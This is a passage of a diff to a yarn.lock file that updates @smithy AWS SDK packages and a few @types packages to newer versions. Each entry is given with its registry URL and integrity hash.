+  resolved "https://registry.yarnpkg.com/@smithy/invalid-dependency/-/invalid-dependency-4.0.4.tgz#8c2c539b2f22e857b4652bd2427a3d7a8befd610"
+  integrity sha512-bNYMi7WKTJHu0gn26wg8OscncTt1t2b8KcsZxvOv56XA6cyXtOAAAaNP7+m45xfppXfOatXF3Sb1MNsLUgVLTw==
   dependencies:
-    "@smithy/types" "^4.3.0"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
 "@smithy/is-array-buffer@^2.2.0":
@@ -1281,171 +1308,171 @@
   dependencies:
     tslib "^2.6.2"
 
-"@smithy/middleware-content-length@^4.0.2":
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-content-length/-/middleware-content-length-4.0.3.tgz#6ca78cda6569e9c0a2b4f788729f874a461b8554"
-  integrity sha512-NE/Zph4BP5u16bzYq2csq9qD0T6UBLeg4AuNrwNJ7Gv9uLYaGEgelZUOdRndGdMGcUfSGvNlXGb2aA2hPCwJ6g==
+"@smithy/middleware-content-length@^4.0.4":
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-content-length/-/middleware-content-length-4.0.4.tgz#fad1f125779daf8d5f261dae6dbebba0f60c234b"
+  integrity sha512-F7gDyfI2BB1Kc+4M6rpuOLne5LOcEknH1n6UQB69qv+HucXBR1rkzXBnQTB2q46sFy1PM/zuSJOB532yc8bg3w==
   dependencies:
-    "@smithy/protocol-http" "^5.1.1"
-    "@smithy/types" "^4.3.0"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@smithy/middleware-endpoint@^4.1.6", "@smithy/middleware-endpoint@^4.1.7":
-  version "4.1.7"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-endpoint/-/middleware-endpoint-4.1.7.tgz#7b15fc81171dc879c9d9c8f5297d4939d0f6a234"
-  integrity sha512-KDzM7Iajo6K7eIWNNtukykRT4eWwlHjCEsULZUaSfi/SRSBK8BPRqG5FsVfp58lUxcvre8GT8AIPIqndA0ERKw==
+"@smithy/middleware-endpoint@^4.1.13":
+  version "4.1.13"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-endpoint/-/middleware-endpoint-4.1.13.tgz#7d5b5f8f61600270bd8c59aabf311c99b9127aba"
+  integrity sha512-xg3EHV/Q5ZdAO5b0UiIMj3RIOCobuS40pBBODguUDVdko6YK6QIzCVRrHTogVuEKglBWqWenRnZ71iZnLL3ZAQ==
   dependencies:
-    "@smithy/core" "^3.4.0"
-    "@smithy/middleware-serde" "^4.0.6"
-    "@smithy/node-config-provider" "^4.1.2"
-    "@smithy/shared-ini-file-loader" "^4.0.3"
-    "@smithy/types" "^4.3.0"
-    "@smithy/url-parser" "^4.0.3"
-    "@smithy/util-middleware" "^4.0.3"
+    "@smithy/core" "^3.6.0"
+    "@smithy/middleware-serde" "^4.0.8"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/shared-ini-file-loader" "^4.0.4"
+    "@smithy/types" "^4.3.1"
+    "@smithy/url-parser" "^4.0.4"
+    "@smithy/util-middleware" "^4.0.4"
     tslib "^2.6.2"
 
-"@smithy/middleware-retry@^4.1.7":
-  version "4.1.8"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-retry/-/middleware-retry-4.1.8.tgz#1b6123ef5ad4ea9e55d6e4a0d1912c238d019e05"
-  integrity sha512-e2OtQgFzzlSG0uCjcJmi02QuFSRTrpT11Eh2EcqqDFy7DYriteHZJkkf+4AsxsrGDugAtPFcWBz1aq06sSX5fQ==
+"@smithy/middleware-retry@^4.1.14":
+  version "4.1.14"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-retry/-/middleware-retry-4.1.14.tgz#53ce619463a1ce4b95025aaafdf51369ef893196"
+  integrity sha512-eoXaLlDGpKvdmvt+YBfRXE7HmIEtFF+DJCbTPwuLunP0YUnrydl+C4tS+vEM0+nyxXrX3PSUFqC+lP1+EHB1Tw==
   dependencies:
-    "@smithy/node-config-provider" "^4.1.2"
-    "@smithy/protocol-http" "^5.1.1"
-    "@smithy/service-error-classification" "^4.0.4"
-    "@smithy/smithy-client" "^4.3.0"
-    "@smithy/types" "^4.3.0"
-    "@smithy/util-middleware" "^4.0.3"
-    "@smithy/util-retry" "^4.0.4"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/service-error-classification" "^4.0.6"
+    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/types" "^4.3.1"
+    "@smithy/util-middleware" "^4.0.4"
+    "@smithy/util-retry" "^4.0.6"
     tslib "^2.6.2"
     uuid "^9.0.1"
 
-"@smithy/middleware-serde@^4.0.5", "@smithy/middleware-serde@^4.0.6":
+"@smithy/middleware-serde@^4.0.8":
+  version "4.0.8"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-serde/-/middleware-serde-4.0.8.tgz#3704c8cc46acd0a7f910a78ee1d2f23ce928701f"
+  integrity sha512-iSSl7HJoJaGyMIoNn2B7czghOVwJ9nD7TMvLhMWeSB5vt0TnEYyRRqPJu/TqW76WScaNvYYB8nRoiBHR9S1Ddw==
+  dependencies:
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/types" "^4.3.1"
+    tslib "^2.6.2"
+
+"@smithy/middleware-stack@^4.0.4":
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/@smithy/middleware-stack/-/middleware-stack-4.0.4.tgz#58e0c6a0d7678c6ad4d6af8dd9a00f749ffac7c5"
+  integrity sha512-kagK5ggDrBUCCzI93ft6DjteNSfY8Ulr83UtySog/h09lTIOAJ/xUSObutanlPT0nhoHAkpmW9V5K8oPyLh+QA==
+  dependencies:
+    "@smithy/types" "^4.3.1"
+    tslib "^2.6.2"
+
+"@smithy/node-config-provider@^4.1.3":
+  version "4.1.3"
+  resolved "https://registry.yarnpkg.com/@smithy/node-config-provider/-/node-config-provider-4.1.3.tgz#6626fe26c6fe7b0df34f71cb72764ccba414a815"
+  integrity sha512-HGHQr2s59qaU1lrVH6MbLlmOBxadtzTsoO4c+bF5asdgVik3I8o7JIOzoeqWc5MjVa+vD36/LWE0iXKpNqooRw==
+  dependencies:
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/shared-ini-file-loader" "^4.0.4"
+    "@smithy/types" "^4.3.1"
+    tslib "^2.6.2"
+
+"@smithy/node-http-handler@^4.0.6":
   version "4.0.6"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-serde/-/middleware-serde-4.0.6.tgz#76e8523b48f2402ccef97b6764d9cfe35e7df669"
-  integrity sha512-YECyl7uNII+jCr/9qEmCu8xYL79cU0fqjo0qxpcVIU18dAPHam/iYwcknAu4Jiyw1uN+sAx7/SMf/Kmef/Jjsg==
+  resolved "https://registry.yarnpkg.com/@smithy/node-http-handler/-/node-http-handler-4.0.6.tgz#a022da499ba3af4b6b4c815104fde973c0eccc40"
+  integrity sha512-NqbmSz7AW2rvw4kXhKGrYTiJVDHnMsFnX4i+/FzcZAfbOBauPYs2ekuECkSbtqaxETLLTu9Rl/ex6+I2BKErPA==
   dependencies:
-    "@smithy/protocol-http" "^5.1.1"
-    "@smithy/types" "^4.3.0"
+    "@smithy/abort-controller" "^4.0.4"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/querystring-builder" "^4.0.4"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@smithy/middleware-stack@^4.0.2", "@smithy/middleware-stack@^4.0.3":
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/middleware-stack/-/middleware-stack-4.0.3.tgz#4231f41e05f63d088644bc829b182850f5a9ee59"
-  integrity sha512-baeV7t4jQfQtFxBADFmnhmqBmqR38dNU5cvEgHcMK/Kp3D3bEI0CouoX2Sr/rGuntR+Eg0IjXdxnGGTc6SbIkw==
+"@smithy/property-provider@^4.0.4":
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/@smithy/property-provider/-/property-provider-4.0.4.tgz#303a8fd99665fff61eeb6ec3922eee53838962c5"
+  integrity sha512-qHJ2sSgu4FqF4U/5UUp4DhXNmdTrgmoAai6oQiM+c5RZ/sbDwJ12qxB1M6FnP+Tn/ggkPZf9ccn4jqKSINaquw==
   dependencies:
-    "@smithy/types" "^4.3.0"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@smithy/node-config-provider@^4.1.1", "@smithy/node-config-provider@^4.1.2":
-  version "4.1.2"
-  resolved "https://registry.yarnpkg.com/@smithy/node-config-provider/-/node-config-provider-4.1.2.tgz#6397998db6741ada1f9ee1bf6665190b02d68084"
-  integrity sha512-SUvNup8iU1v7fmM8XPk+27m36udmGCfSz+VZP5Gb0aJ3Ne0X28K/25gnsrg3X1rWlhcnhzNUUysKW/Ied46ivQ==
+"@smithy/protocol-http@^5.1.2":
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/@smithy/protocol-http/-/protocol-http-5.1.2.tgz#8094860c2407f250b80c95899e0385112d6eb98b"
+  integrity sha512-rOG5cNLBXovxIrICSBm95dLqzfvxjEmuZx4KK3hWwPFHGdW3lxY0fZNXfv2zebfRO7sJZ5pKJYHScsqopeIWtQ==
   dependencies:
-    "@smithy/property-provider" "^4.0.3"
-    "@smithy/shared-ini-file-loader" "^4.0.3"
-    "@smithy/types" "^4.3.0"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@smithy/node-http-handler@^4.0.4", "@smithy/node-http-handler@^4.0.5":
-  version "4.0.5"
-  resolved "https://registry.yarnpkg.com/@smithy/node-http-handler/-/node-http-handler-4.0.5.tgz#7d825f35d8e006a2662b7237eb7d369430883140"
-  integrity sha512-T7QglZC1vS7SPT44/1qSIAQEx5bFKb3LfO6zw/o4Xzt1eC5HNoH1TkS4lMYA9cWFbacUhx4hRl/blLun4EOCkg==
+"@smithy/querystring-builder@^4.0.4":
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/@smithy/querystring-builder/-/querystring-builder-4.0.4.tgz#f7546efd59d457b3d2525a330c6137e5f907864c"
+  integrity sha512-SwREZcDnEYoh9tLNgMbpop+UTGq44Hl9tdj3rf+yeLcfH7+J8OXEBaMc2kDxtyRHu8BhSg9ADEx0gFHvpJgU8w==
   dependencies:
-    "@smithy/abort-controller" "^4.0.3"
-    "@smithy/protocol-http" "^5.1.1"
-    "@smithy/querystring-builder" "^4.0.3"
-    "@smithy/types" "^4.3.0"
-    tslib "^2.6.2"
-
-"@smithy/property-provider@^4.0.2", "@smithy/property-provider@^4.0.3":
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/property-provider/-/property-provider-4.0.3.tgz#cefeb7bc7a8baaeec9f68e82c3164141703a15d5"
-  integrity sha512-Wcn17QNdawJZcZZPBuMuzyBENVi1AXl4TdE0jvzo4vWX2x5df/oMlmr/9M5XAAC6+yae4kWZlOYIsNsgDrMU9A==
-  dependencies:
-    "@smithy/types" "^4.3.0"
-    tslib "^2.6.2"
-
-"@smithy/protocol-http@^5.1.0", "@smithy/protocol-http@^5.1.1":
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/@smithy/protocol-http/-/protocol-http-5.1.1.tgz#95d998526cd806b7902b0440c3f25188945a2e2c"
-  integrity sha512-Vsay2mzq05DwNi9jK01yCFtfvu9HimmgC7a4HTs7lhX12Sx8aWsH0mfz6q/02yspSp+lOB+Q2HJwi4IV2GKz7A==
-  dependencies:
-    "@smithy/types" "^4.3.0"
-    tslib "^2.6.2"
-
-"@smithy/querystring-builder@^4.0.3":
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/querystring-builder/-/querystring-builder-4.0.3.tgz#056a17082e0a0ab10c817380d96321a8bba588fd"
-  integrity sha512-UUzIWMVfPmDZcOutk2/r1vURZqavvQW0OHvgsyNV0cKupChvqg+/NKPRMaMEe+i8tP96IthMFeZOZWpV+E4RAw==
-  dependencies:
-    "@smithy/types" "^4.3.0"
+    "@smithy/types" "^4.3.1"
     "@smithy/util-uri-escape" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/querystring-parser@^4.0.3":
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/querystring-parser/-/querystring-parser-4.0.3.tgz#ac8b26a23b7b9423734620cd025b5963bad764ae"
-  integrity sha512-K5M4ZJQpFCblOJ5Oyw7diICpFg1qhhR47m2/5Ef1PhGE19RaIZf50tjYFrxa6usqcuXyTiFPGo4d1geZdH4YcQ==
-  dependencies:
-    "@smithy/types" "^4.3.0"
-    tslib "^2.6.2"
-
-"@smithy/service-error-classification@^4.0.4":
+"@smithy/querystring-parser@^4.0.4":
   version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/service-error-classification/-/service-error-classification-4.0.4.tgz#63aef3b40db39ef7f04f4ffcca8bf4ef57ff5b23"
-  integrity sha512-W5ScbQ1bTzgH91kNEE2CvOzM4gXlDOqdow4m8vMFSIXCel2scbHwjflpVNnC60Y3F1m5i7w2gQg9lSnR+JsJAA==
+  resolved "https://registry.yarnpkg.com/@smithy/querystring-parser/-/querystring-parser-4.0.4.tgz#307ab95ee5f1a142ab46c2eddebeae68cb2f703d"
+  integrity sha512-6yZf53i/qB8gRHH/l2ZwUG5xgkPgQF15/KxH0DdXMDHjesA9MeZje/853ifkSY0x4m5S+dfDZ+c4x439PF0M2w==
   dependencies:
-    "@smithy/types" "^4.3.0"
-
-"@smithy/shared-ini-file-loader@^4.0.2", "@smithy/shared-ini-file-loader@^4.0.3":
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.0.3.tgz#23fab0e773630b0817846c52c54b435ac32a4dd0"
-  integrity sha512-vHwlrqhZGIoLwaH8vvIjpHnloShqdJ7SUPNM2EQtEox+yEDFTVQ7E+DLZ+6OhnYEgFUwPByJyz6UZaOu2tny6A==
-  dependencies:
-    "@smithy/types" "^4.3.0"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@smithy/signature-v4@^5.1.0":
-  version "5.1.1"
-  resolved "https://registry.yarnpkg.com/@smithy/signature-v4/-/signature-v4-5.1.1.tgz#c9f6522936a427c689dd78d7ebf2e69faf286206"
-  integrity sha512-zy8Repr5zvT0ja+Tf5wjV/Ba6vRrhdiDcp/ww6cvqYbSEudIkziDe3uppNRlFoCViyJXdPnLcwyZdDLA4CHzSg==
+"@smithy/service-error-classification@^4.0.6":
+  version "4.0.6"
+  resolved "https://registry.yarnpkg.com/@smithy/service-error-classification/-/service-error-classification-4.0.6.tgz#5d4d3017f5b62258fbfc1067e14198e125a8286c"
+  integrity sha512-RRoTDL//7xi4tn5FrN2NzH17jbgmnKidUqd4KvquT0954/i6CXXkh1884jBiunq24g9cGtPBEXlU40W6EpNOOg==
+  dependencies:
+    "@smithy/types" "^4.3.1"
+
+"@smithy/shared-ini-file-loader@^4.0.4":
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.0.4.tgz#33c63468b95cfd5e7d642c8131d7acc034025e00"
+  integrity sha512-63X0260LoFBjrHifPDs+nM9tV0VMkOTl4JRMYNuKh/f5PauSjowTfvF3LogfkWdcPoxsA9UjqEOgjeYIbhb7Nw==
+  dependencies:
+    "@smithy/types" "^4.3.1"
+    tslib "^2.6.2"
+
+"@smithy/signature-v4@^5.1.2":
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/@smithy/signature-v4/-/signature-v4-5.1.2.tgz#5afd9d428bd26bb660bee8075b6e89fe93600c22"
+  integrity sha512-d3+U/VpX7a60seHziWnVZOHuEgJlclufjkS6zhXvxcJgkJq4UWdH5eOBLzHRMx6gXjsdT9h6lfpmLzbrdupHgQ==
   dependencies:
     "@smithy/is-array-buffer" "^4.0.0"
-    "@smithy/protocol-http" "^5.1.1"
-    "@smithy/types" "^4.3.0"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/types" "^4.3.1"
     "@smithy/util-hex-encoding" "^4.0.0"
-    "@smithy/util-middleware" "^4.0.3"
+    "@smithy/util-middleware" "^4.0.4"
     "@smithy/util-uri-escape" "^4.0.0"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@smithy/smithy-client@^4.2.6", "@smithy/smithy-client@^4.3.0":
-  version "4.3.0"
-  resolved "https://registry.yarnpkg.com/@smithy/smithy-client/-/smithy-client-4.3.0.tgz#05d2fa958ffbb9256c777a11b380aeba199295b3"
-  integrity sha512-DNsRA38pN6tYHUjebmwD9e4KcgqTLldYQb2gC6K+oxXYdCTxPn6wV9+FvOa6wrU2FQEnGJoi+3GULzOTKck/tg==
+"@smithy/smithy-client@^4.4.5":
+  version "4.4.5"
+  resolved "https://registry.yarnpkg.com/@smithy/smithy-client/-/smithy-client-4.4.5.tgz#1c736618f3c4910880cc6862a5826348c1b70d5d"
+  integrity sha512-+lynZjGuUFJaMdDYSTMnP/uPBBXXukVfrJlP+1U/Dp5SFTEI++w6NMga8DjOENxecOF71V9Z2DllaVDYRnGlkg==
   dependencies:
-    "@smithy/core" "^3.4.0"
-    "@smithy/middleware-endpoint" "^4.1.7"
-    "@smithy/middleware-stack" "^4.0.3"
-    "@smithy/protocol-http" "^5.1.1"
-    "@smithy/types" "^4.3.0"
-    "@smithy/util-stream" "^4.2.1"
+    "@smithy/core" "^3.6.0"
+    "@smithy/middleware-endpoint" "^4.1.13"
+    "@smithy/middleware-stack" "^4.0.4"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/types" "^4.3.1"
+    "@smithy/util-stream" "^4.2.2"
     tslib "^2.6.2"
 
-"@smithy/types@^4.2.0", "@smithy/types@^4.3.0":
-  version "4.3.0"
-  resolved "https://registry.yarnpkg.com/@smithy/types/-/types-4.3.0.tgz#80a0da5ac907cfe9e97e89814bc7502626451580"
-  integrity sha512-+1iaIQHthDh9yaLhRzaoQxRk+l9xlk+JjMFxGRhNLz+m9vKOkjNeU8QuB4w3xvzHyVR/BVlp/4AXDHjoRIkfgQ==
+"@smithy/types@^4.3.1":
+  version "4.3.1"
+  resolved "https://registry.yarnpkg.com/@smithy/types/-/types-4.3.1.tgz#c11276ea16235d798f47a68aef9f44d3dbb70dd4"
+  integrity sha512-UqKOQBL2x6+HWl3P+3QqFD4ncKq0I8Nuz9QItGv5WuKuMHuuwlhvqcZCoXGfc+P1QmfJE7VieykoYYmrOoFJxA==
   dependencies:
     tslib "^2.6.2"
 
-"@smithy/url-parser@^4.0.2", "@smithy/url-parser@^4.0.3":
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/url-parser/-/url-parser-4.0.3.tgz#ab0920cc98205f438a3064fb85161bc3c50625b4"
-  integrity sha512-n5/DnosDu/tweOqUUNtUbu7eRIR4J/Wz9nL7V5kFYQQVb8VYdj7a4G5NJHCw6o21ul7CvZoJkOpdTnsQDLT0tQ==
+"@smithy/url-parser@^4.0.4":
+  version "4.0.4"
+  resolved "https://registry.yarnpkg.com/@smithy/url-parser/-/url-parser-4.0.4.tgz#049143f4c156356e177bd69242675db26fe4f4db"
+  integrity sha512-eMkc144MuN7B0TDA4U2fKs+BqczVbk3W+qIvcoCY6D1JY3hnAdCuhCZODC+GAeaxj0p6Jroz4+XMUn3PCxQQeQ==
   dependencies:
-    "@smithy/querystring-parser" "^4.0.3"
-    "@smithy/types" "^4.3.0"
+    "@smithy/querystring-parser" "^4.0.4"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
 "@smithy/util-base64@^4.0.0":
@@ -1494,37 +1521,37 @@
   dependencies:
     tslib "^2.6.2"
 
-"@smithy/util-defaults-mode-browser@^4.0.14":
-  version "4.0.15"
-  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.0.15.tgz#4a76a59f2af347189bef0f49295004e0156667ac"
-  integrity sha512-bJJ/B8owQbHAflatSq92f9OcV8858DJBQF1Y3GRjB8psLyUjbISywszYPFw16beREHO/C3I3taW4VGH+tOuwrQ==
+"@smithy/util-defaults-mode-browser@^4.0.21":
+  version "4.0.21"
+  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.0.21.tgz#47895e42d64060d2a7f803a443fd160d0a329d83"
+  integrity sha512-wM0jhTytgXu3wzJoIqpbBAG5U6BwiubZ6QKzSbP7/VbmF1v96xlAbX2Am/mz0Zep0NLvLh84JT0tuZnk3wmYQA==
   dependencies:
-    "@smithy/property-provider" "^4.0.3"
-    "@smithy/smithy-client" "^4.3.0"
-    "@smithy/types" "^4.3.0"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/types" "^4.3.1"
     bowser "^2.11.0"
     tslib "^2.6.2"
 
-"@smithy/util-defaults-mode-node@^4.0.14":
-  version "4.0.15"
-  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.0.15.tgz#60383794aa743776db1ac9e24d2e03aefae508d4"
-  integrity sha512-8CUrEW2Ni5q+NmYkj8wsgkfqoP7l4ZquptFbq92yQE66xevc4SxqP2zH6tMtN158kgBqBDsZ+qlrRwXWOjCR8A==
+"@smithy/util-defaults-mode-node@^4.0.21":
+  version "4.0.21"
+  resolved "https://registry.yarnpkg.com/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.0.21.tgz#4682143fbfb0a4c6e08a6151f13af97018e6950e"
+  integrity sha512-/F34zkoU0GzpUgLJydHY8Rxu9lBn8xQC/s/0M0U9lLBkYbA1htaAFjWYJzpzsbXPuri5D1H8gjp2jBum05qBrA==
   dependencies:
-    "@smithy/config-resolver" "^4.1.3"
-    "@smithy/credential-provider-imds" "^4.0.5"
-    "@smithy/node-config-provider" "^4.1.2"
-    "@smithy/property-provider" "^4.0.3"
-    "@smithy/smithy-client" "^4.3.0"
-    "@smithy/types" "^4.3.0"
+    "@smithy/config-resolver" "^4.1.4"
+    "@smithy/credential-provider-imds" "^4.0.6"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/property-provider" "^4.0.4"
+    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@smithy/util-endpoints@^3.0.4":
-  version "3.0.5"
-  resolved "https://registry.yarnpkg.com/@smithy/util-endpoints/-/util-endpoints-3.0.5.tgz#92ce03a97c29f60b2e46df161797df88ec262f2d"
-  integrity sha512-PjDpqLk24/vAl340tmtCA++Q01GRRNH9cwL9qh46NspAX9S+IQVcK+GOzPt0GLJ6KYGyn8uOgo2kvJhiThclJw==
+"@smithy/util-endpoints@^3.0.6":
+  version "3.0.6"
+  resolved "https://registry.yarnpkg.com/@smithy/util-endpoints/-/util-endpoints-3.0.6.tgz#a24b0801a1b94c0de26ad83da206b9add68117f2"
+  integrity sha512-YARl3tFL3WgPuLzljRUnrS2ngLiUtkwhQtj8PAL13XZSyUiNLQxwG3fBBq3QXFqGFUXepIN73pINp3y8c2nBmA==
   dependencies:
-    "@smithy/node-config-provider" "^4.1.2"
-    "@smithy/types" "^4.3.0"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
 "@smithy/util-hex-encoding@^4.0.0":
@@ -1534,31 +1561,31 @@
   dependencies:
     tslib "^2.6.2"
 
-"@smithy/util-middleware@^4.0.2", "@smithy/util-middleware@^4.0.3":
-  version "4.0.3"
-  resolved "https://registry.yarnpkg.com/@smithy/util-middleware/-/util-middleware-4.0.3.tgz#bb4176241ce0df21623a3c402ce55f94903f8161"
-  integrity sha512-iIsC6qZXxkD7V3BzTw3b1uK8RVC1M8WvwNxK1PKrH9FnxntCd30CSunXjL/8iJBE8Z0J14r2P69njwIpRG4FBQ==
-  dependencies:
-    "@smithy/types" "^4.3.0"
-    tslib "^2.6.2"
-
-"@smithy/util-retry@^4.0.3", "@smithy/util-retry@^4.0.4":
+"@smithy/util-middleware@^4.0.4":
   version "4.0.4"
-  resolved "https://registry.yarnpkg.com/@smithy/util-retry/-/util-retry-4.0.4.tgz#4e372f83aa83170eb95bc35a60be827555f90208"
-  integrity sha512-Aoqr9W2jDYGrI6OxljN8VmLDQIGO4VdMAUKMf9RGqLG8hn6or+K41NEy1Y5dtum9q8F7e0obYAuKl2mt/GnpZg==
+  resolved "https://registry.yarnpkg.com/@smithy/util-middleware/-/util-middleware-4.0.4.tgz#8f639de049082c687841ea5e69c6c36e12e31a3c"
+  integrity sha512-9MLKmkBmf4PRb0ONJikCbCwORACcil6gUWojwARCClT7RmLzF04hUR4WdRprIXal7XVyrddadYNfp2eF3nrvtQ==
   dependencies:
-    "@smithy/service-error-classification" "^4.0.4"
-    "@smithy/types" "^4.3.0"
+    "@smithy/types" "^4.3.1"
     tslib "^2.6.2"
 
-"@smithy/util-stream@^4.2.0", "@smithy/util-stream@^4.2.1":
-  version "4.2.1"
-  resolved "https://registry.yarnpkg.com/@smithy/util-stream/-/util-stream-4.2.1.tgz#bc5358c4e1d5027b11411333f3190b7d5c104316"
-  integrity sha512-W3IR0x5DY6iVtjj5p902oNhD+Bz7vs5S+p6tppbPa509rV9BdeXZjGuRSCtVEad9FA0Mba+tNUtUmtnSI1nwUw==
+"@smithy/util-retry@^4.0.6":
+  version "4.0.6"
+  resolved "https://registry.yarnpkg.com/@smithy/util-retry/-/util-retry-4.0.6.tgz#f931fdd1f01786b21a82711e185c58410e8e41c7"
+  integrity sha512-+YekoF2CaSMv6zKrA6iI/N9yva3Gzn4L6n35Luydweu5MMPYpiGZlWqehPHDHyNbnyaYlz/WJyYAZnC+loBDZg==
   dependencies:
-    "@smithy/fetch-http-handler" "^5.0.3"
-    "@smithy/node-http-handler" "^4.0.5"
-    "@smithy/types" "^4.3.0"
+    "@smithy/service-error-classification" "^4.0.6"
+    "@smithy/types" "^4.3.1"
+    tslib "^2.6.2"
+
+"@smithy/util-stream@^4.2.2":
+  version "4.2.2"
+  resolved "https://registry.yarnpkg.com/@smithy/util-stream/-/util-stream-4.2.2.tgz#beeb1edf690db9b7d7983f46ca4fb66e22253608"
+  integrity sha512-aI+GLi7MJoVxg24/3J1ipwLoYzgkB4kUfogZfnslcYlynj3xsQ0e7vk4TnTro9hhsS5PvX1mwmkRqqHQjwcU7w==
+  dependencies:
+    "@smithy/fetch-http-handler" "^5.0.4"
+    "@smithy/node-http-handler" "^4.0.6"
+    "@smithy/types" "^4.3.1"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-buffer-from" "^4.0.0"
     "@smithy/util-hex-encoding" "^4.0.0"
@@ -1604,9 +1631,9 @@
   integrity sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==
 
 "@types/body-parser@*":
-  version "1.19.5"
-  resolved "https://registry.yarnpkg.com/@types/body-parser/-/body-parser-1.19.5.tgz#04ce9a3b677dc8bd681a17da1ab9835dc9d3ede4"
-  integrity sha512-fB3Zu92ucau0iQ0JMCFQE7b/dv8Ot07NI3KaZIkIUNXq82k4eBAqUaneXfleGY9JWskeS9y+u0nXMyspcuQrCg==
+  version "1.19.6"
+  resolved "https://registry.yarnpkg.com/@types/body-parser/-/body-parser-1.19.6.tgz#1859bebb8fd7dac9918a45d54c1971ab8b5af474"
+  integrity sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==
   dependencies:
     "@types/connect" "*"
     "@types/node" "*"
@@ -1634,9 +1661,9 @@
     "@types/send" "*"
 
 "@types/express@^4.17.20":
-  version "4.17.22"
-  resolved "https://registry.yarnpkg.com/@types/express/-/express-4.17.22.tgz#14cfcf120f7eb56ebb8ca77b7fa9a14d21de7c96"
-  integrity sha512-eZUmSnhRX9YRSkplpz0N+k6NljUUn5l3EWZIKZvYzhvMphEuNiyyy1viH/ejgt66JWgALwC/gtSUAeQKtSwW/w==
+  version "4.17.23"
+  resolved "https://registry.yarnpkg.com/@types/express/-/express-4.17.23.tgz#35af3193c640bfd4d7fe77191cd0ed411a433bef"
+  integrity sha512-Crp6WY9aTYP3qPi2wGDo9iUe/rceX01UMhnF1jmwDcKCFM6cx7YhGP/Mpr3y9AASpfHixIG0E6azCcL5OcDHsQ==
   dependencies:
     "@types/body-parser" "*"
     "@types/express-serve-static-core" "^4.17.33"
@@ -1649,14 +1676,14 @@
   integrity sha512-6C8nqWur3j98U6+lXDfTUWIfgvZU+EumvpHKcYjujKH7woYyLj2sUmff0tRhrqM7BohUw7Pz3ZB1jj2gW9Fvmg==
 
 "@types/http-errors@*":
-  version "2.0.4"
-  resolved "https://registry.yarnpkg.com/@types/http-errors/-/http-errors-2.0.4.tgz#7eb47726c391b7345a6ec35ad7f4de469cf5ba4f"
-  integrity sha512-D0CFMMtydbJAegzOyHjtiKPLlvnm3iTZyZRSZoLq2mRhDdmLfIWOCYPfQJ4cu2erKghU++QvjcUjp/5h7hESpA==
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/@types/http-errors/-/http-errors-2.0.5.tgz#5b749ab2b16ba113423feb1a64a95dcd30398472"
+  integrity sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==
 
 "@types/jsonwebtoken@^9.0.4":
-  version "9.0.9"
